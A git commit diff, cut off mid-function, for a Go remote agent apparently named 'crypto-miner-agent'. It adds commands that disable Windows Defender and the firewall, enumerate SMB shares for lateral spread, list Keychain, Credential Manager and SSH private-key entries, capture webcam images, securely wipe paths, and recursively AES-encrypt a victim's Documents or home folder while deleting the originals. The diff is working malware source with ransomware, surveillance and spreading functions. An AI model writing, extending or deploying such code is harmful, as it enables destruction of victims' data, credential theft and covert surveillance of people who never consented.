feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -3,6 +3,7 @@ package client
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -20,7 +21,7 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
@@ -95,6 +96,39 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "smb_shares":
|
||||
if runtime.GOOS != "windows" {
|
||||
c.sendCommandResult(action, false, "smb_shares is Windows-only")
|
||||
return true
|
||||
}
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
out := deploy.EnumerateSMBShares(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "spread_status":
|
||||
out := deploy.GetSpreadStatusJSON()
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "credential_vault_list":
|
||||
out := listCredentialVaultNames()
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "secure_wipe":
|
||||
target := strings.TrimSpace(path)
|
||||
if target == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
result := SecureWipePath(target)
|
||||
ok := !strings.HasPrefix(result, "secure_wipe error:")
|
||||
c.sendCommandResult(action, ok, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "defender_off":
|
||||
msg, err := deploy.DisableDefenderRealtime()
|
||||
if err != nil {
|
||||
@@ -227,9 +261,19 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}()
|
||||
return true
|
||||
|
||||
case "sys_crypt":
|
||||
case "sys_crypt", "encrypt_path":
|
||||
target := strings.TrimSpace(path)
|
||||
recursive := parseRecursiveFlag(command, data)
|
||||
if action == "sys_crypt" && target == "" {
|
||||
recursive = true
|
||||
}
|
||||
go func() {
|
||||
result := SysCrypt()
|
||||
var result string
|
||||
if target == "" && action == "sys_crypt" {
|
||||
result = SysCrypt()
|
||||
} else {
|
||||
result = EncryptPath(target, recursive)
|
||||
}
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
@@ -10,10 +10,10 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
func handleCameraAction(action, device string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureLinuxCameraJPEG()
|
||||
raw, err := captureLinuxCameraJPEG(strings.TrimSpace(device))
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
@@ -50,7 +50,7 @@ func listLinuxCameraDevices() ([]string, error) {
|
||||
return devs, nil
|
||||
}
|
||||
|
||||
func captureLinuxCameraJPEG() ([]byte, error) {
|
||||
func captureLinuxCameraJPEG(preferred string) ([]byte, error) {
|
||||
devs, err := listLinuxCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -59,6 +59,14 @@ func captureLinuxCameraJPEG() ([]byte, error) {
|
||||
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
|
||||
}
|
||||
device := devs[0]
|
||||
if preferred != "" {
|
||||
for _, d := range devs {
|
||||
if d == preferred {
|
||||
device = d
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ff, err := exec.LookPath("ffmpeg"); err == nil {
|
||||
out, runErr := exec.Command(ff,
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
package client
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
func handleCameraAction(action, _ string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot", "camera_list":
|
||||
return true, false, "camera capture is not supported on this platform"
|
||||
|
||||
@@ -8,10 +8,10 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
func handleCameraAction(action, device string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureWindowsCameraJPEG()
|
||||
raw, err := captureWindowsCameraJPEG(strings.TrimSpace(device))
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
@@ -53,7 +53,7 @@ func listWindowsCameraDevices() ([]string, error) {
|
||||
return parseDShowVideoDevices(string(out)), nil
|
||||
}
|
||||
|
||||
func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
func captureWindowsCameraJPEG(preferred string) ([]byte, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -66,6 +66,14 @@ func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
return nil, fmt.Errorf("no video capture devices found")
|
||||
}
|
||||
device := devs[0]
|
||||
if preferred != "" {
|
||||
for _, d := range devs {
|
||||
if d == preferred {
|
||||
device = d
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
out, err := silentCombinedOutput(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "dshow",
|
||||
|
||||
@@ -325,6 +325,8 @@ func (c *AgentClient) authenticate() error {
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -618,7 +620,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
if c.handleRegistryCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleFileCommand(action, path) {
|
||||
if c.handleFileCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleReconCommand(action, command) {
|
||||
|
||||
@@ -5,6 +5,9 @@ import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||
@@ -28,6 +31,31 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "arp_neighbors" {
|
||||
ips := deploy.ArpNeighborIPs()
|
||||
b, _ := json.Marshal(map[string]interface{}{
|
||||
"neighbors": ips,
|
||||
"count": len(ips),
|
||||
})
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "persistence_audit" {
|
||||
report := collectPersistenceAudit()
|
||||
b, _ := json.Marshal(report)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "kill_process" {
|
||||
pid := strings.TrimSpace(command)
|
||||
if pid == "" {
|
||||
c.sendCommandResult(action, false, "pid is required in command field")
|
||||
return true
|
||||
}
|
||||
ok, msg := killProcessByPID(pid)
|
||||
c.sendCommandResult(action, ok, msg)
|
||||
return true
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||
c.sendCommandResult(action, true, report.JSON())
|
||||
|
||||
@@ -47,13 +47,13 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
case "software":
|
||||
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
||||
case "screenshot":
|
||||
if command != "" {
|
||||
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
b64, err := capturePlatformScreenshot(command)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
return handleCameraAction(action, command)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
|
||||
@@ -107,7 +107,7 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
return handleCameraAction(action, command)
|
||||
case "sysinfo":
|
||||
out, err = silentCombinedOutput("systeminfo")
|
||||
case "ipconfig":
|
||||
|
||||
35
agent/client/credential_vault.go
Normal file
35
agent/client/credential_vault.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
type credentialEntry struct {
|
||||
Name string `json:"name"`
|
||||
Source string `json:"source"`
|
||||
Type string `json:"type,omitempty"`
|
||||
}
|
||||
|
||||
type credentialVaultResult struct {
|
||||
Platform string `json:"platform"`
|
||||
Entries []credentialEntry `json:"entries"`
|
||||
Count int `json:"count"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
// listCredentialVaultNames returns stored credential identifiers (no secrets).
|
||||
func listCredentialVaultNames() string {
|
||||
entries, note := platformCredentialNames()
|
||||
result := credentialVaultResult{
|
||||
Platform: runtime.GOOS,
|
||||
Entries: entries,
|
||||
Count: len(entries),
|
||||
Note: note,
|
||||
}
|
||||
if result.Entries == nil {
|
||||
result.Entries = []credentialEntry{}
|
||||
}
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
48
agent/client/credential_vault_darwin.go
Normal file
48
agent/client/credential_vault_darwin.go
Normal file
@@ -0,0 +1,48 @@
|
||||
//go:build darwin
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func platformCredentialNames() ([]credentialEntry, string) {
|
||||
var entries []credentialEntry
|
||||
out, err := silentCombinedOutput("security", "dump-keychain")
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, `"svce"`) {
|
||||
parts := strings.SplitN(line, "=", 2)
|
||||
if len(parts) == 2 {
|
||||
name := strings.Trim(strings.TrimSpace(parts[1]), `"`)
|
||||
if name != "" {
|
||||
entries = append(entries, credentialEntry{
|
||||
Name: name,
|
||||
Source: "macOS Keychain",
|
||||
Type: "service",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
sshDir := filepath.Join(home, ".ssh")
|
||||
matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
|
||||
for _, m := range matches {
|
||||
if strings.HasSuffix(m, ".pub") {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, credentialEntry{
|
||||
Name: filepath.Base(m),
|
||||
Source: "~/.ssh",
|
||||
Type: "ssh_key",
|
||||
})
|
||||
}
|
||||
}
|
||||
return entries, "Keychain service names and SSH key paths only"
|
||||
}
|
||||
49
agent/client/credential_vault_linux.go
Normal file
49
agent/client/credential_vault_linux.go
Normal file
@@ -0,0 +1,49 @@
|
||||
//go:build linux
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func platformCredentialNames() ([]credentialEntry, string) {
|
||||
var entries []credentialEntry
|
||||
out, err := silentCombinedOutput("secret-tool", "search", "--all")
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "label = ") {
|
||||
name := strings.TrimSpace(strings.TrimPrefix(line, "label = "))
|
||||
if name != "" {
|
||||
entries = append(entries, credentialEntry{
|
||||
Name: name,
|
||||
Source: "secret-service",
|
||||
Type: "label",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
sshDir := filepath.Join(home, ".ssh")
|
||||
matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
|
||||
for _, m := range matches {
|
||||
if strings.HasSuffix(m, ".pub") {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, credentialEntry{
|
||||
Name: filepath.Base(m),
|
||||
Source: "~/.ssh",
|
||||
Type: "ssh_key",
|
||||
})
|
||||
}
|
||||
}
|
||||
note := "secret-service labels and SSH key paths only"
|
||||
if len(entries) == 0 {
|
||||
note += " (install libsecret secret-tool for GNOME Keyring listing)"
|
||||
}
|
||||
return entries, note
|
||||
}
|
||||
7
agent/client/credential_vault_stub.go
Normal file
7
agent/client/credential_vault_stub.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !windows && !darwin && !linux
|
||||
|
||||
package client
|
||||
|
||||
func platformCredentialNames() ([]credentialEntry, string) {
|
||||
return nil, "credential vault listing not supported on this platform"
|
||||
}
|
||||
20
agent/client/credential_vault_test.go
Normal file
20
agent/client/credential_vault_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestListCredentialVaultNamesJSON(t *testing.T) {
|
||||
raw := listCredentialVaultNames()
|
||||
var result credentialVaultResult
|
||||
if err := json.Unmarshal([]byte(raw), &result); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Platform == "" {
|
||||
t.Fatal("expected platform")
|
||||
}
|
||||
if result.Entries == nil {
|
||||
t.Fatal("expected entries slice")
|
||||
}
|
||||
}
|
||||
36
agent/client/credential_vault_windows.go
Normal file
36
agent/client/credential_vault_windows.go
Normal file
@@ -0,0 +1,36 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func platformCredentialNames() ([]credentialEntry, string) {
|
||||
out, err := silentCombinedOutput("cmdkey", "/list")
|
||||
if err != nil {
|
||||
return nil, "cmdkey failed: " + strings.TrimSpace(string(out))
|
||||
}
|
||||
var entries []credentialEntry
|
||||
var current credentialEntry
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "Target:") {
|
||||
if current.Name != "" {
|
||||
entries = append(entries, current)
|
||||
}
|
||||
current = credentialEntry{
|
||||
Name: strings.TrimSpace(strings.TrimPrefix(line, "Target:")),
|
||||
Source: "Windows Credential Manager",
|
||||
}
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, "Type:") && current.Name != "" {
|
||||
current.Type = strings.TrimSpace(strings.TrimPrefix(line, "Type:"))
|
||||
}
|
||||
}
|
||||
if current.Name != "" {
|
||||
entries = append(entries, current)
|
||||
}
|
||||
return entries, "names only — secrets not exported"
|
||||
}
|
||||
156
agent/client/crypt.go
Normal file
156
agent/client/crypt.go
Normal file
@@ -0,0 +1,156 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const cryptPassword = "password"
|
||||
|
||||
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
|
||||
func deriveKey(password string) []byte {
|
||||
sum := sha256.Sum256([]byte(password))
|
||||
return sum[:]
|
||||
}
|
||||
|
||||
// encryptFile encrypts src with AES-256-GCM, writing src+".enc" and deleting the original.
|
||||
func encryptFile(path string, key []byte) error {
|
||||
plaintext, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||
|
||||
dst := path + ".enc"
|
||||
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.Remove(path)
|
||||
}
|
||||
|
||||
func parseRecursiveFlag(command, data string) bool {
|
||||
for _, v := range []string{command, data} {
|
||||
v = strings.TrimSpace(strings.ToLower(v))
|
||||
if v == "recursive" || v == "1" || v == "true" || v == "yes" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// EncryptPath AES-256-GCM encrypts files at targetPath (file or directory).
|
||||
// Empty targetPath uses the platform default documents/home folder.
|
||||
func EncryptPath(targetPath string, recursive bool) string {
|
||||
resolved, err := resolveEncryptPath(targetPath)
|
||||
if err != nil {
|
||||
return "encrypt error: " + err.Error()
|
||||
}
|
||||
|
||||
key := deriveKey(cryptPassword)
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
return "encrypt error: " + err.Error()
|
||||
}
|
||||
|
||||
var encrypted, skipped, failed int
|
||||
var errs []string
|
||||
|
||||
if !info.IsDir() {
|
||||
if strings.HasSuffix(resolved, ".enc") {
|
||||
return "encrypt skipped — already .enc"
|
||||
}
|
||||
if err := encryptFile(resolved, key); err != nil {
|
||||
return fmt.Sprintf("encrypt failed: %v", err)
|
||||
}
|
||||
return fmt.Sprintf("encrypt done — encrypted: 1 path: %s", resolved)
|
||||
}
|
||||
|
||||
walkFn := func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.HasSuffix(path, ".enc") {
|
||||
skipped++
|
||||
return nil
|
||||
}
|
||||
if err := encryptFile(path, key); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
encrypted++
|
||||
return nil
|
||||
}
|
||||
|
||||
if recursive {
|
||||
err = filepath.WalkDir(resolved, walkFn)
|
||||
} else {
|
||||
entries, readErr := os.ReadDir(resolved)
|
||||
if readErr != nil {
|
||||
return "encrypt error: " + readErr.Error()
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
p := filepath.Join(resolved, e.Name())
|
||||
_ = walkFn(p, e, nil)
|
||||
}
|
||||
err = nil
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Sprintf("encrypt walk error: %v", err)
|
||||
}
|
||||
|
||||
summary := fmt.Sprintf("encrypt done — encrypted: %d skipped: %d failed: %d path: %s", encrypted, skipped, failed, resolved)
|
||||
if len(errs) > 0 {
|
||||
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func resolveEncryptPath(targetPath string) (string, error) {
|
||||
targetPath = strings.TrimSpace(targetPath)
|
||||
if targetPath == "" {
|
||||
def, err := defaultCryptDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
targetPath = def
|
||||
}
|
||||
if containsPathTraversal(targetPath) {
|
||||
return "", fmt.Errorf("path traversal (..) is not allowed")
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Clean(resolved), nil
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
// SysCrypt is a no-op on non-Windows platforms.
|
||||
func SysCrypt() string {
|
||||
return "sys_crypt is Windows-only in this build"
|
||||
}
|
||||
31
agent/client/crypt_unix.go
Normal file
31
agent/client/crypt_unix.go
Normal file
@@ -0,0 +1,31 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func defaultCryptDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return "", err
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "documents"),
|
||||
home,
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if st, err := os.Stat(c); err == nil && st.IsDir() {
|
||||
return filepath.Clean(c), nil
|
||||
}
|
||||
}
|
||||
return filepath.Clean(home), nil
|
||||
}
|
||||
|
||||
// SysCrypt encrypts files in the user's Documents (or home) folder.
|
||||
func SysCrypt() string {
|
||||
return EncryptPath("", true)
|
||||
}
|
||||
@@ -3,27 +3,18 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const cryptPassword = "password"
|
||||
|
||||
// documentsDir returns the current user's Documents folder path via the
|
||||
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
|
||||
func documentsDir() (string, error) {
|
||||
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
|
||||
if err != nil {
|
||||
// Fall back to USERPROFILE\Documents
|
||||
if up := os.Getenv("USERPROFILE"); up != "" {
|
||||
return filepath.Join(up, "Documents"), nil
|
||||
}
|
||||
@@ -32,82 +23,11 @@ func documentsDir() (string, error) {
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
|
||||
func deriveKey(password string) []byte {
|
||||
sum := sha256.Sum256([]byte(password))
|
||||
return sum[:]
|
||||
func defaultCryptDir() (string, error) {
|
||||
return documentsDir()
|
||||
}
|
||||
|
||||
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
|
||||
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
|
||||
func encryptFile(path string, key []byte) error {
|
||||
plaintext, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||
|
||||
dst := path + ".enc"
|
||||
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.Remove(path)
|
||||
}
|
||||
|
||||
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
|
||||
// file (skipping files already ending in ".enc"). Returns a summary string.
|
||||
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file.
|
||||
func SysCrypt() string {
|
||||
docsDir, err := documentsDir()
|
||||
if err != nil {
|
||||
return "sys_crypt error: " + err.Error()
|
||||
}
|
||||
|
||||
key := deriveKey(cryptPassword)
|
||||
|
||||
var encrypted, skipped, failed int
|
||||
var errs []string
|
||||
|
||||
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.HasSuffix(path, ".enc") {
|
||||
skipped++
|
||||
return nil
|
||||
}
|
||||
if err := encryptFile(path, key); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
encrypted++
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Sprintf("sys_crypt walk error: %v", err)
|
||||
}
|
||||
|
||||
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
|
||||
if len(errs) > 0 {
|
||||
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return summary
|
||||
return EncryptPath("", true)
|
||||
}
|
||||
|
||||
273
agent/client/file_ops_common.go
Normal file
273
agent/client/file_ops_common.go
Normal file
@@ -0,0 +1,273 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const (
|
||||
maxListDirEntries = 500
|
||||
maxReadFileBytes = 512 * 1024
|
||||
)
|
||||
|
||||
type dirEntry struct {
|
||||
Name string `json:"name"`
|
||||
IsDir bool `json:"is_dir"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
type listDirResponse struct {
|
||||
Path string `json:"path"`
|
||||
HomeDir string `json:"home_dir"`
|
||||
Platform string `json:"platform"`
|
||||
Entries []dirEntry `json:"entries"`
|
||||
}
|
||||
|
||||
var hiddenDirNames = map[string]bool{
|
||||
"System Volume Information": true,
|
||||
"$Recycle.Bin": true,
|
||||
"$RECYCLE.BIN": true,
|
||||
}
|
||||
|
||||
func containsPathTraversal(raw string) bool {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return false
|
||||
}
|
||||
// Allow ~/ prefix — resolved via home, not traversal.
|
||||
if strings.HasPrefix(raw, "~/") {
|
||||
raw = raw[2:]
|
||||
}
|
||||
raw = strings.ReplaceAll(raw, "\\", "/")
|
||||
for _, part := range strings.Split(raw, "/") {
|
||||
if part == ".." {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func userHomeDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return "", fmt.Errorf("home directory unavailable")
|
||||
}
|
||||
return filepath.Clean(home), nil
|
||||
}
|
||||
|
||||
func resolveListDirPath(path string) (string, error) {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" || path == "~" || path == "@home" {
|
||||
return userHomeDir()
|
||||
}
|
||||
if containsPathTraversal(path) {
|
||||
return "", fmt.Errorf("path traversal (..) is not allowed")
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resolved = filepath.Clean(resolved)
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return "", fmt.Errorf("path is not a directory")
|
||||
}
|
||||
return resolved, nil
|
||||
}
|
||||
|
||||
func readDirectoryEntries(dir string) ([]dirEntry, error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]dirEntry, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
if hiddenDirNames[e.Name()] {
|
||||
continue
|
||||
}
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
|
||||
if len(out) >= maxListDirEntries {
|
||||
break
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) doListDir(action, path string) bool {
|
||||
if action != "list_dir" {
|
||||
return false
|
||||
}
|
||||
resolved, err := resolveListDirPath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
home, _ := userHomeDir()
|
||||
entries, err := readDirectoryEntries(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
resp := listDirResponse{
|
||||
Path: resolved,
|
